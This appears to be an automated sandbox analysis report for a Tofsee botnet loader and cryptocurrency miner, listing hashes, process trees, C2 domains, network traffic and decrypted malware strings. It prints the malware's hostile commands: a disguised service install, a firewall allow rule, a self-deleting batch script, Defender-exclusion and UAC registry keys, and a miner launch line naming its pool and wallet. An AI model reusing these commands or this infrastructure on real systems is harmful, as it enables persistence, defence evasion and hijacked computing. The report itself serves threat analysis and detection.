File name:

file

Full analysis: https://app.any.run/tasks/35174911-677b-4226-ae93-af6e748b7285
Verdict: Malicious activity
Threats:

A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet.

Malware Trends Tracker     >>>
Analysis date: October 08, 2023, 04:50:43
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
tofsee
loader
botnet
miner
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

A251F635EE202207302C7CC522EF1906

SHA1:

43F3D67C302851A85D993C7A3D2D5DACCAFDA072

SHA256:

6C55C2E2205C5E1C1B4B0CB90A5F283DE32B8EB845D7F8E681370F656D06599B

SSDEEP:

6144:Sp44ELAEJu0HNqwl90CXtxGIkBJrNJdI+Re+/3K7:SDEEEJuuV0CyIkBJrNnneE3K7

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • file.exe (PID: 2928)
      • cmd.exe (PID: 2600)

    • Application was dropped or rewritten from another process

      • kwmznmei.exe (PID: 460)

    • Creates a writable file the system directory

      • svchost.exe (PID: 992)

    • TOFSEE was detected

      • svchost.exe (PID: 992)

    • TOFSEE has been detected (YARA)

      • svchost.exe (PID: 992)

    • MINER was detected

      • svchost.exe (PID: 2920)

    • Connects to the CnC server

      • svchost.exe (PID: 2920)

  • SUSPICIOUS

    • Reads the Internet Settings

      • file.exe (PID: 2928)

    • Starts CMD.EXE for commands execution

      • file.exe (PID: 2928)

    • Starts SC.EXE for service management

      • file.exe (PID: 2928)

    • Executes as Windows Service

      • kwmznmei.exe (PID: 460)

    • Detected use of alternative data streams (AltDS)

      • svchost.exe (PID: 992)

    • Uses NETSH.EXE to add a firewall rule or allowed programs

      • file.exe (PID: 2928)

    • Creates or modifies Windows services

      • svchost.exe (PID: 992)

    • Connects to SMTP port

      • svchost.exe (PID: 992)

    • Connects to unusual port

      • svchost.exe (PID: 992)
      • svchost.exe (PID: 2920)

    • Application launched itself

      • svchost.exe (PID: 992)

    • Connects to the server without a host name

      • svchost.exe (PID: 992)

  • INFO

    • Create files in a temporary directory

      • file.exe (PID: 2928)

    • Checks supported languages

      • file.exe (PID: 2928)
      • kwmznmei.exe (PID: 460)

    • Reads the computer name

      • file.exe (PID: 2928)
      • kwmznmei.exe (PID: 460)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Tofsee

(PID) Process(992) svchost.exe
C2 (2)vanaheim.cn
jotunheim.name
Encrypted Strings (59)c:\Windows
\system32\
ImagePath
.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
MSConfig
/r
.exe
cmd /C move /Y "%s" %s sc config %s binPath= "%s%s /d\"%s\"" sc start %s
svchost.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin
PromptOnSecureDesktop
MSConfig
:.repos
USERPROFILE
\Local Settings:.repos
USERPROFILE
\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat.repos
USERPROFILE
\wincookie.repos
TMP
Config
Control Panel\Buses
Config
SOFTWARE\Microsoft\Buses
Config
Control Panel\Buses
Config
SOFTWARE\Microsoft\Buses
SYSTEM\CurrentControlSet\services
ImagePath
SYSTEM\CurrentControlSet\services
SYSTEM\CurrentControlSet\services
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
.exe
qazwsxed
%s%i%i%i%i.bat
@echo off :next_try del "%s">nul if exist "%s" ( ping 127.0.0.1 >nul goto next_try ) del %%0
svchost.exe
.exe
/u
USERPROFILE
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
/d
/e
/d
/e
.exe
"%s" /u"%s"
USERPROFILE
.exe
USERPROFILE
USERPROFILE
ver=%d lid=%d win=%X/%d sid=%s rep=%s
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (76.4)
.exe | Win32 Executable (generic) (12.4)
.exe | Generic Win/DOS Executable (5.5)
.exe | DOS Executable Generic (5.5)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2022:10:12 18:57:50+02:00
ImageFileCharacteristics: No relocs, Executable, 32-bit
PEType: PE32
LinkerVersion: 10
CodeSize: 221184
InitializedDataSize: 31804928
UninitializedDataSize: -
EntryPoint: 0x546e
OSVersion: 5.1
ImageVersion: -
SubsystemVersion: 5.1
Subsystem: Windows GUI
FileVersionNumber: 54.0.0.0
ProductVersionNumber: 50.0.0.0
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Windows NT 32-bit
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: Unknown (0274)
CharacterSet: Unknown (85B3)
InternalName: NubiliousForm.exe
LegalTrademark1: DoesGet
OriginalFileName: Bujingle.exe
ProductName: Jsdgsdfu
ProductVersion: 49.6.86.89
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
52
Monitored processes
12
Malicious processes
4
Suspicious processes
1

Behavior graph

Click at the process to see the details
start file.exe no specs wusa.exe no specs wusa.exe cmd.exe cmd.exe sc.exe sc.exe sc.exe kwmznmei.exe no specs #TOFSEE svchost.exe netsh.exe #MINER svchost.exe

Process information

PID
CMD
Path
Indicators
Parent process
304sc start idazfunhC:\Windows\System32\sc.exe
file.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
A tool to aid in developing services for WindowsNT
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\sc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
308sc create idazfunh binPath= "C:\Windows\SysWOW64\idazfunh\kwmznmei.exe /d\"C:\Users\admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"C:\Windows\System32\sc.exe
file.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
A tool to aid in developing services for WindowsNT
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\sc.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\msvcrt.dll
460C:\Windows\SysWOW64\idazfunh\kwmznmei.exe /d"C:\Users\admin\AppData\Local\Temp\file.exe"C:\Windows\SysWOW64\idazfunh\kwmznmei.exe—services.exe
User:
SYSTEM
Integrity Level:
SYSTEM
Exit code:
0
Modules
Images
c:\windows\syswow64\idazfunh\kwmznmei.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\ntdll.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\user32.dll
992svchost.exeC:\Windows\SysWOW64\svchost.exe
kwmznmei.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\syswow64\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\wow64win.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\ws2_32.dll
Tofsee
(PID) Process(992) svchost.exe
C2 (2)vanaheim.cn
jotunheim.name
Encrypted Strings (59)c:\Windows
\system32\
ImagePath
.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
MSConfig
/r
.exe
cmd /C move /Y "%s" %s sc config %s binPath= "%s%s /d\"%s\"" sc start %s
svchost.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin
PromptOnSecureDesktop
MSConfig
:.repos
USERPROFILE
\Local Settings:.repos
USERPROFILE
\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat.repos
USERPROFILE
\wincookie.repos
TMP
Config
Control Panel\Buses
Config
SOFTWARE\Microsoft\Buses
Config
Control Panel\Buses
Config
SOFTWARE\Microsoft\Buses
SYSTEM\CurrentControlSet\services
ImagePath
SYSTEM\CurrentControlSet\services
SYSTEM\CurrentControlSet\services
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
.exe
qazwsxed
%s%i%i%i%i.bat
@echo off :next_try del "%s">nul if exist "%s" ( ping 127.0.0.1 >nul goto next_try ) del %%0
svchost.exe
.exe
/u
USERPROFILE
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
/d
/e
/d
/e
.exe
"%s" /u"%s"
USERPROFILE
.exe
USERPROFILE
USERPROFILE
ver=%d lid=%d win=%X/%d sid=%s rep=%s
1696"C:\Windows\System32\wusa.exe" C:\Windows\SysWOW64\wusa.exe—file.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Update Standalone Installer
Exit code:
3221226540
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\syswow64\wusa.exe
2436"C:\Windows\SysWOW64\wusa.exe" C:\Windows\SysWOW64\wusa.exe
file.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Update Standalone Installer
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\syswow64\wusa.exe
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\wow64.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
2532netsh advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nulC:\Windows\System32\netsh.exe
file.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Network Command Shell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\netsh.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\credui.dll
2600cmd /C move /Y "C:\Users\admin\AppData\Local\Temp\kwmznmei.exe" C:\Windows\SysWOW64\idazfunh\C:\Windows\System32\cmd.exe
file.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\cmd.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\winbrand.dll
2920svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1C:\Windows\SysWOW64\svchost.exe
svchost.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\syswow64\svchost.exe
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
2928"C:\Users\admin\AppData\Local\Temp\file.exe" C:\Users\admin\AppData\Local\Temp\file.exe—explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\file.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\lpk.dll
c:\windows\system32\wow64cpu.dll
Total events
1 059
Read events
1 003
Write events
56
Delete events
0

Modification events

(PID) Process:(2928) file.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2928) file.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2928) file.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2928) file.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2532) netsh.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\156\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(992) svchost.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\idazfunh
Operation:writeName:ImagePath
Value:
C:\Windows\SysWOW64\idazfunh\kwmznmei.exe /d"C:\Users\admin\AppData\Local\Temp\file.exe"
(PID) Process:(992) svchost.exeKey:HKEY_USERS\.DEFAULT\Control Panel\Buses
Operation:writeName:Config0
Value:
84C65D3DBFD8080024EDB47D450DD49D084297DCE82E72BAA49928FD3078481D7CDD349481CD945D24EDB47D470DD49D024195DAF71261ADC06D04FDA6E22673BBC9154961CDA56813DD814C743FE2A9644490BDB57C26E9905B02CBF7BA54758DF21D5904FCAC6E1CDA824E753EE09D084295D9E13F4BB4C06D00FDADFD5430D194460830F4A56517EDC70F3252A0F40948F490B57922EC925507CDF1B454718BCE15515BB9FD3041ED8548733DE1AC541FC28A84A934D7A4D12161998D541DE4AC743D04BAFB2F4FB2C70F320DD49D642DF4BD8495BF38C62834FDC48D57D1F6AE743D04CCA26F0ADC864F6A3CECA94A18CCBD844D14DDA46D34FDC48D541DE4AD743D04CD945D24EDB47D440DD49D642DF4BD844D14DDA46D34FDC48D541DE4AD743D04CD715C24ED
Executable files
2
Suspicious files
1
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
2928file.exeC:\Users\admin\AppData\Local\Temp\kwmznmei.exeexecutable
MD5:7E8F61142125CBD85A01CFF80739F3E6
SHA256:9F92EAA43F15F9444A7D054C55BC31F52006284474F3167ADBED88C58D556D97
992svchost.exeC:\Windows\SysWOW64\config\systemprofile:.reposbinary
MD5:58E27C7B019EC8B08007E07891AE9621
SHA256:6839A2A0BA6D6A43B2BB2824A476555AA1E55EB423833AD5F624E2ED8CFAA3BF
2600cmd.exeC:\Windows\SysWOW64\idazfunh\kwmznmei.exeexecutable
MD5:7E8F61142125CBD85A01CFF80739F3E6
SHA256:9F92EAA43F15F9444A7D054C55BC31F52006284474F3167ADBED88C58D556D97
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
24
DNS requests
14
Threats
9

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
992
svchost.exe
GET
200
93.115.25.73:80
http://93.115.25.73/internals/api/ip?1696740712234789653
unknown
text
13 b
unknown
992
svchost.exe
GET
200
93.115.25.110:80
http://93.115.25.110/internals/api/ip?1696740734227933423
unknown
text
13 b
unknown
992
svchost.exe
GET
200
93.115.25.13:80
http://93.115.25.13/internals/api/ip?1696740723221484881
unknown
text
13 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1956
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
324
svchost.exe
224.0.0.252:5355
—
—
—
unknown
992
svchost.exe
20.112.250.133:80
microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
unknown
992
svchost.exe
40.93.207.7:25
microsoft-com.mail.protection.outlook.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
unknown
992
svchost.exe
193.106.174.220:443
vanaheim.cn
IQHost Ltd
RU
unknown
992
svchost.exe
62.122.184.58:485
—
LLC Baxet
RU
unknown
2920
svchost.exe
213.91.128.133:10060
fastpool.xyz
Vivacom
BG
unknown
992
svchost.exe
62.122.184.92:429
—
LLC Baxet
RU
unknown

DNS requests

Domain
IP
Reputation
microsoft.com
  • 20.112.250.133
  • 20.231.239.246
  • 20.76.201.171
  • 20.70.246.20
  • 20.236.44.162
whitelisted
microsoft-com.mail.protection.outlook.com
  • 40.93.207.7
  • 52.101.40.29
  • 40.93.212.0
  • 104.47.54.36
  • 40.93.207.1
  • 104.47.53.36
whitelisted
vanaheim.cn
  • 193.106.174.220
malicious
72.188.28.154.dnsbl.sorbs.net
  • —
unknown
fastpool.xyz
  • 213.91.128.133
malicious
72.188.28.154.bl.spamcop.net
  • —
unknown
72.188.28.154.zen.spamhaus.org
  • —
unknown
72.188.28.154.sbl-xbl.spamhaus.org
  • —
unknown
72.188.28.154.cbl.abuseat.org
  • —
unknown
72.188.28.154.in-addr.arpa
  • —
unknown

Threats

PID
Process
Class
Message
992
svchost.exe
Malware Command and Control Activity Detected
BOTNET [ANY.RUN] Tofsee Successful Connection
2920
svchost.exe
Potential Corporate Privacy Violation
ET POLICY Cryptocurrency Miner Checkin
992
svchost.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 19
992
svchost.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 19
992
svchost.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 19
992
svchost.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 19
992
svchost.exe
Device Retrieving External IP Address Detected
SUSPICIOUS [ANY.RUN] Received IP address from server as result of HTTP request
992
svchost.exe
Device Retrieving External IP Address Detected
SUSPICIOUS [ANY.RUN] Received IP address from server as result of HTTP request
992
svchost.exe
Device Retrieving External IP Address Detected
SUSPICIOUS [ANY.RUN] Received IP address from server as result of HTTP request
No debug info